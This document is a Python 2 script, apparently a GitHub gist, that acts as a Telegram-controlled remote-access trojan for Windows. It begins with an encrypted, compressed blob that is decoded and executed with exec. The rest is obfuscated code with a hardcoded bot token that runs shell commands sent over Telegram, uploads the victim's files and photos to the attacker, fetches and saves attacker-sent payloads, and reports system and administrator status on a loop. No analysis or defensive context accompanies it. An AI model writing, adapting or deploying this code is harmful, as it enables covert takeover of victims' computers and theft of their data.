OAuq7fFjbIj1TNma0h2XKMjTehToE4l91pSy7ouxP_SUjPem5wkQ8B3KB3K3vIlp5mVWOt58TOIBbzIxK2wq0zMCYa3h2_6u7j-CLdhdg14xAciy3pNbBRSX13tY4RlUv6lu-0bHrM-Ih3N9tZyeN5VDNKcnOMtjgOyoGQlrT_nbvJuG1gJjJLfndgE6_055KemcffoqUQckTVl22apK87y8CZqsMdlhdYzSmq-K0eeuj0MfD3LibDyJiTjsG_UiB12YZT91kUjyL9Tumbv3IS_E3Zet5kwIioSpzFitxHWyP9Jy8jYu7aSoKc8UWlBKCjKDOmKvQCLdkz94NZZzyLsunSLkL2FLVR-00pg_L8saYwL9jEFg36UXx-OMymqff-Fgcg2x0-wAySzyRJ86qavWOVg1xCka_vMSemm0lmcIxdZr8wqIMu9epmwf-9_bO_SKzqjNBElXHH52PE5Dr32cJslGa08Wp_gD2NqAnGxi538ywcDP2nHu5d0rQ5Y0ejUROA0KSkUO2oXUsrK0hXlg4dEmuDlXUcd_B7Yc03kDJF3bCls3-DNfAWAtEyVdrGSYR4crbp9Ux2Mo3sHxn-k2MwR_nAek6KUhYAf-8PFYIVy6fht17Ns5uaGXGYcIsQzulVp5EAgjaO2nMpf69qF0K-4xzxQw4cFlekuhLrqUIprtG5YARdY5mmI8gZfgtHdQzwOZwLxKeOG80BEAlC8CZuJvhw9d4Uk4-dLd_uqwIZ7a-tJ62V7aYdF1KljU0dhM1DCWvVngK3FUFLLk8dIfHdSnoHvKdRhjOr4F1KbWUpS6ciuUgawN4fa9kDpXRz96GYIc3qyhaLAfYdThcaqOsTX4nnnIMwpoarWD6uQP-OjbjB3nouSzJpxSnuBz6pttiwUDTYWsUnfvO9vnpbTjV3lR17tT_2hNb3eO_1bY6yYktBhpT7eY3N4Nkun1vnlu6Wz-F2ppdc3g15LDAzzE5f2LngmVITY_ZNDG2TLR1KEMcsECQPDpxafuj-SskSptL-rv0Nfh-IlLtRJs0d0tyTkJ43Hx8bZMbNJnIjOkQBTpErH9DbpY_hvc6D3WkP13AZIwbpa8affm0HAbMBcbMxUG0ubYsdJE9SG9u9hF8czrlZp1LYysXAKn8bcFcoN7pH3EkGgyCix8cihyUwa4qnmlvc8_Z14AOJbf8Ysiu7t_SVoHn_Is434mvL88KRh21aBSz3CLnIVodPLn8PejLjn_SQFIE7VtJa1osPH3hwgXglDgJXKA-DHiDn9-bG7LrnJ7WA1QgKRLOTobTqcTNQF69OeV8_1khbft2ByJz7tIfJqgciI_qU_LZsvzGWm7m2-AqSx9nYoflKiNkWcaBqFg4Z9s6Vp2fSDhVTm1Lhn66u5H0yKLv103tPFp5vZFpNNAHmw79_lWEu9DqGfcHOgkCNU6dq8whnC_Q4TjJcHRrrRDzf4B56tfKdTIO2zrQqALfNkYwxGZHgt4zmViRKUyW2qBjBlDBVstf-W5662pm68kwc0FqCRH56-uwO4muWf-ek-F3CviXc1dRTZrUj1OL3pBRWBSG70_DAxHBAFgsIFRkHL0jf4oSTNe_G7P_2PeSm8HdM6v9yiM2JQedSYerPiJNw1XqZ-uFrTQrfsj3xCYXgB6dhSFWbNd1w8nBVPUELxGfnm_jWJoXzzSk2WP2NIR-fuHy8LmnBlw-O1f8rDCHBG5iw6Ny5wTRSgdFuF6BHDUSf6OzhDptFd3cyMwjWDCTPbVMcQjHG2Py9Gf6sn7UDjgJdsvvzzadKUCE_Lb97EiCqGoXrNlvjn3Nu30oZQ9sfnZu622s7YVkEKsrsmeQBjXZ9gX7mN53F3OFHVf4OCjovIUWHMPmBEIafmT_oHx_G-0Q=="""
NNN = AESCipher("RVX0WKdzfwd4ynICDqJL9YjUjly1ehv7")
u = NNN.decrypt(zlib.decompress(base64.urlsafe_b64decode(u))).encode("rot13")
exec u
# -*- coding: utf-8 -*-
from subprocess import Popen , PIPE
from os import environ , path , system , sep , listdir , remove
from threading import Thread
from time import sleep
from random import sample , getrandbits , randrange
from string import ascii_letters , digits
from platform import platform
import json
import ssl
import random
import string
from six import string_types
import requests
import hashlib
from Crypto import Random
from Crypto . Cipher import AES
import base64
import zlib
import locale
onGSJiuaIwkYJKQAq = '140192111:AAGSxqO9Xz9meTaG7Ecdh80LGnYXNIbbgp4'
ClKgScOAM = '184274372'
fKicshfGsvpfunOH = True
evhtoH = "https://api.telegram.org/bot{0}/{1}"
def BNRJwUcIuZ ( var ) :
return isinstance ( var , string_types )
def htuypnnLGskjaWFHOn ( token , method_name , method = 'get' , params = None , files = None , base_url = evhtoH ) :
dcyEXUGQXJXzrBbDE = base_url . format ( token , method_name )
RjwSbIgZHgLJorGQ = requests . request ( method , dcyEXUGQXJXzrBbDE , params = params , files = files )
return qCEJUuRzxXjOQJdil ( method_name , RjwSbIgZHgLJorGQ ) [ 'result' ]
def qCEJUuRzxXjOQJdil ( method_name , result ) :
if result . status_code != 200 :
IYdtV = 'The server returned HTTP {0} {1}. Response body:\n[{2}]' . format ( result . status_code , result . reason , result . text . encode ( 'utf8' ) )
raise dlQOkPl ( IYdtV , method_name , result )
try :
JHZZiJkCbX = result . json ( )
except :
IYdtV = 'The server returned an invalid JSON response. Response body:\n[{0}]' . format ( result . text . encode ( 'utf8' ) )
raise dlQOkPl ( IYdtV , method_name , result )
if not JHZZiJkCbX [ 'ok' ] :
IYdtV = 'Error code: {0} Description: {1}' . format ( JHZZiJkCbX [ 'error_code' ] , JHZZiJkCbX [ 'description' ] )
raise dlQOkPl ( IYdtV , method_name , result )
return JHZZiJkCbX
class uILINb :
def __init__ ( self , botapi , chatid ) :
self . botapi = botapi
self . baseurl = "https://api.telegram.org/bot" + self . botapi
self . chatid = chatid
self . ssl_cert = ssl . SSLContext ( ssl . PROTOCOL_TLSv1 )
def sendMessage ( self , message ) :
rcmQAlxPVdfnZbICtL = {
'chat_id' : self . chatid ,
'text' : str ( message )
}
try :
RuOfCO = htuypnnLGskjaWFHOn ( self . botapi , r'sendMessage' , params = rcmQAlxPVdfnZbICtL )
except :
wTZeIkPYvlessUipQ = open ( AEBjZFmFcuTGFSO , 'w' )
wTZeIkPYvlessUipQ . writelines ( message )
wTZeIkPYvlessUipQ . close ( )
try :
self . sendDocument ( AEBjZFmFcuTGFSO )
remove ( AEBjZFmFcuTGFSO )
except :
remove ( AEBjZFmFcuTGFSO )
def sendDocument ( self , path ) :
qoiJdeqnxwSvFfxtcg = open ( path , 'rb' )
gINOdHaURkaNqc = r'sendDocument'
OzwTFhmDaoatjnZeQg = { 'chat_id' : self . chatid }
qGCYfsscLoV = { 'document' : qoiJdeqnxwSvFfxtcg }
return htuypnnLGskjaWFHOn ( self . botapi , gINOdHaURkaNqc , params = OzwTFhmDaoatjnZeQg , files = qGCYfsscLoV , method = 'post' )
def send_photo ( self , path ) :
altuQuOyXCjToIApt = open ( path . decode ( locale . getpreferredencoding ( ) ) . encode ( 'utf8' ) , 'rb' )
gINOdHaURkaNqc = r'sendPhoto'
OzwTFhmDaoatjnZeQg = { 'chat_id' : self . chatid }
qGCYfsscLoV = None
if not BNRJwUcIuZ ( altuQuOyXCjToIApt ) :
qGCYfsscLoV = { 'photo' : altuQuOyXCjToIApt }
else :
OzwTFhmDaoatjnZeQg [ 'photo' ] = altuQuOyXCjToIApt
return htuypnnLGskjaWFHOn ( self . botapi , gINOdHaURkaNqc , params = OzwTFhmDaoatjnZeQg , files = qGCYfsscLoV , method = 'post' )
def getCommand ( self ) :
try :
PIlFKPoXfSIqQcLF = json . loads ( self . getUpdates ( ) )
lFBwWe = PIlFKPoXfSIqQcLF [ 'result' ] [ - 1 ]
UJivRVkSEqtzi = int ( lFBwWe [ 'update_id' ] ) + 1
AaLxu = lFBwWe [ 'message' ] [ 'text' ]
iyGlmGFlsjCZnfsYcY = self . baseurl + '/getUpdates' + "?offset=" + str ( UJivRVkSEqtzi )
requests . get ( iyGlmGFlsjCZnfsYcY )
return AaLxu . encode ( locale . getpreferredencoding ( ) )
except :
PIlFKPoXfSIqQcLF = json . loads ( self . getUpdates ( ) )
try :
lFBwWe = PIlFKPoXfSIqQcLF [ 'result' ] [ - 1 ]
UJivRVkSEqtzi = int ( lFBwWe [ 'update_id' ] ) + 1
kyiVisI = lFBwWe [ 'message' ] [ 'document' ] [ 'file_id' ]
INhhoVjKxmzAggIgj ( self . botapi , kyiVisI )
iyGlmGFlsjCZnfsYcY = self . baseurl + '/getUpdates' + "?offset=" + str ( UJivRVkSEqtzi )
requests . get ( iyGlmGFlsjCZnfsYcY )
except :
pass
def getUpdates ( self ) :
xGWFuvYOt = self . baseurl + '/getUpdates'
RuOfCO = requests . get ( xGWFuvYOt )
return RuOfCO . text
def ZtxNzKAlVkno ( exc ) :
enbpFTBbn = str ( exc ) + '\n'
WUoEpwKgHaWeIQoc . sendMessage ( enbpFTBbn )
def diSvBcgvgHBC ( ) :
dVIyMDDhmWkgzgI = "SYSPROC = " + str ( GTKOsXkB ( ) ) + "; IsAdmin = " + str ( LYyztolXmOOzPTBR ( ) )
IYdtV = { 'OUTCMD' : 'checkinfo' , 'RES' : dVIyMDDhmWkgzgI }
WUoEpwKgHaWeIQoc . sendMessage ( IYdtV )
def GTKOsXkB ( ) :
return '{}-{}' . format ( platform ( ) , environ [ 'PROCESSOR_ARCHITECTURE' ] )
def lddWVwYjnwSAmfcNYg ( slen = 10 ) :
return '' . join ( sample ( ascii_letters + digits , slen ) )
class INhhoVjKxmzAggIgj ( Thread ) :
def __init__ ( self , token , file_id ) :
Thread . __init__ ( self )
self . token = token
self . file_id = file_id
self . payload_name = '~JF' + str ( lddWVwYjnwSAmfcNYg ( slen = 10 ) ) + '.dat'
self . daemon = True
self . start ( )
def get_info ( self ) :
gINOdHaURkaNqc = r'getFile'
return htuypnnLGskjaWFHOn ( self . token , gINOdHaURkaNqc , params = { 'file_id' : self . file_id } )
def run ( self ) :
try :
qlHJMdelbmWA = self . get_info ( )
IWoCKw = qlHJMdelbmWA [ u'file_path' ]
QGQLNov = requests . get ( 'https://api.telegram.org/file/bot{0}/{1}' . format ( self . token , IWoCKw ) ,
stream = True )
with open ( self . payload_name , 'wb' ) as LBNnHCWiOboBY :
for wrSpoeiB in QGQLNov . iter_content ( chunk_size = 1024 ) :
if wrSpoeiB :
LBNnHCWiOboBY . write ( wrSpoeiB )
iWOeeA = "[+]Upload: " + self . payload_name
WUoEpwKgHaWeIQoc . sendMessage ( iWOeeA )
except Exception as qmesZmSTuFOKMD :
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD )
pass
def LYyztolXmOOzPTBR ( ) :
DWCfMYX = False
try :
ovQVuWpiHnEOejSCqf = listdir ( sep . join ( [ environ . get ( 'SystemRoot' , '\\Windows' ) , 'temp' ] ) )
DWCfMYX = True
except :
DWCfMYX = False
pass
return str ( DWCfMYX )
class OcZqjNQNOQlagBmfIz ( Thread ) :
def __init__ ( self , command ) :
Thread . __init__ ( self )
self . command = command
self . daemon = True
self . start ( )
def run ( self ) :
try :
ImcXuPRDLHtTuENQpYX = Popen ( self . command , shell = True , stdout = PIPE , stderr = PIPE ,
stdin = PIPE )
try :
qmpUyhe = ImcXuPRDLHtTuENQpYX . stdout . read ( ) . decode ( 'cp866' ) . encode ( 'utf8' )
except Exception as qmesZmSTuFOKMD :
WUoEpwKgHaWeIQoc . sendMessage ( str ( qmesZmSTuFOKMD ) )
qmpUyhe = ImcXuPRDLHtTuENQpYX . stdout . read ( )
try :
qmpUyhe += ImcXuPRDLHtTuENQpYX . stderr . read ( ) . decode ( 'cp866' ) . encode ( 'utf8' )
except Exception as qmesZmSTuFOKMD :
WUoEpwKgHaWeIQoc . sendMessage ( str ( qmesZmSTuFOKMD ) )
qmpUyhe += ImcXuPRDLHtTuENQpYX . stdout . read ( )
print qmpUyhe
WUoEpwKgHaWeIQoc . sendMessage ( qmpUyhe )
except Exception as qmesZmSTuFOKMD :
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD )
pass
class SYlksNXXcmEAVgMPU ( Thread ) :
def __init__ ( self , command ) :
Thread . __init__ ( self )
self . command = command
self . daemon = True
self . start ( )
def run ( self ) :
try :
WUoEpwKgHaWeIQoc . sendMessage ( self . command )
ImcXuPRDLHtTuENQpYX = Popen ( self . command , shell = True , stdout = PIPE , stderr = PIPE ,
stdin = PIPE )
qmpUyhe = ImcXuPRDLHtTuENQpYX . stdout . read ( )
qmpUyhe += ImcXuPRDLHtTuENQpYX . stderr . read ( )
WUoEpwKgHaWeIQoc . sendMessage ( qmpUyhe )
except Exception as qmesZmSTuFOKMD :
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD )
pass
def OheLeSIGNunKqD ( ) :
global OkgufdoKVJYdFgMBgya
while True :
try :
AaLxu = str ( WUoEpwKgHaWeIQoc . getCommand ( ) )
if AaLxu == "help" :
hvBQioQvol = "cmd||" + "cmd command" + '\n'
hvBQioQvol += "cmdd||" + "cmd command" + '\n'
hvBQioQvol += "getphoto||" + "path" + '\n'
hvBQioQvol += "getdoc||" + "doc path" + '\n'
hvBQioQvol += "forcecheckin||" + "random data" + '\n'
hvBQioQvol += "time||" + "int" + '\n'
hvBQioQvol += "ss||" + "random data" + '\n'
WUoEpwKgHaWeIQoc . sendMessage ( hvBQioQvol )
if AaLxu . find ( "||" ) != ( - 1 ) :
xaPsdVUCAUJCBpSK = AaLxu . find ( "||" )
sffFjVkEsMIjzKHQY = AaLxu [ : xaPsdVUCAUJCBpSK ]
xaPsdVUCAUJCBpSK += 2
KAkQEjOGWJbHhJRZ = AaLxu [ xaPsdVUCAUJCBpSK : ]
AaLxu = { 'CMD' : sffFjVkEsMIjzKHQY , 'ARG' : KAkQEjOGWJbHhJRZ }
if AaLxu [ 'CMD' ] and AaLxu [ 'ARG' ] :
sffFjVkEsMIjzKHQY = AaLxu [ 'CMD' ]
KAkQEjOGWJbHhJRZ = AaLxu [ 'ARG' ]
if sffFjVkEsMIjzKHQY == 'cmd' :
OcZqjNQNOQlagBmfIz ( KAkQEjOGWJbHhJRZ )
elif sffFjVkEsMIjzKHQY == 'cmdd' :
SYlksNXXcmEAVgMPU ( KAkQEjOGWJbHhJRZ )
elif sffFjVkEsMIjzKHQY == 'getphoto' :
WUoEpwKgHaWeIQoc . send_photo ( KAkQEjOGWJbHhJRZ )
elif sffFjVkEsMIjzKHQY == 'getdoc' :
WUoEpwKgHaWeIQoc . sendDocument ( KAkQEjOGWJbHhJRZ )
elif sffFjVkEsMIjzKHQY == 'ss' :
screenshot ( )
elif sffFjVkEsMIjzKHQY == 'forcecheckin' :
diSvBcgvgHBC ( )
elif sffFjVkEsMIjzKHQY == 'time' :
try :
OkgufdoKVJYdFgMBgya = int ( KAkQEjOGWJbHhJRZ )
WUoEpwKgHaWeIQoc . sendMessage ( "Success!" )
try :
open ( direct , 'w' ) . write ( str ( OkgufdoKVJYdFgMBgya ) )
except Exception as qmesZmSTuFOKMD :
WUoEpwKgHaWeIQoc . sendMessage ( str ( qmesZmSTuFOKMD ) )
except :
WUoEpwKgHaWeIQoc . sendMessage ( "Must be integer" )
sleep ( OkgufdoKVJYdFgMBgya )
continue
elif sffFjVkEsMIjzKHQY == 'logout' :
WUoEpwKgHaWeIQoc . sendMessage ( "LOGOUT +" )
break
else :
sleep ( OkgufdoKVJYdFgMBgya )
continue
sleep ( OkgufdoKVJYdFgMBgya )
except Exception as qmesZmSTuFOKMD :
if fKicshfGsvpfunOH == True : ZtxNzKAlVkno ( qmesZmSTuFOKMD )
sleep ( OkgufdoKVJYdFgMBgya )
continue
class dlQOkPl ( Exception ) :
def __init__ ( self , msg , function_name , result ) :
super ( dlQOkPl , self ) . __init__ ( "A request to the Telegram API was unsuccessful. {0}" . format ( msg ) )
self . function_name = function_name
self . result = result
def NAQOVGy ( ) :
diSvBcgvgHBC ( )
try :
OheLeSIGNunKqD ( )
except KeyboardInterrupt :
pass
if __name__ == '__main__' :
try :
OkgufdoKVJYdFgMBgya = 15
WUoEpwKgHaWeIQoc = uILINb ( onGSJiuaIwkYJKQAq , ClKgScOAM )
WUoEpwKgHaWeIQoc . sendMessage ( "Hey! It`s echo bot" )
WUoEpwKgHaWeIQoc . sendMessage ( locale . getpreferredencoding ( ) )
while 1 == 1 :
try :
AEBjZFmFcuTGFSO = "~DT" + lddWVwYjnwSAmfcNYg ( slen = 10 ) + ".txt"
NAQOVGy ( )
sleep ( OkgufdoKVJYdFgMBgya )
except :
continue
except :
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment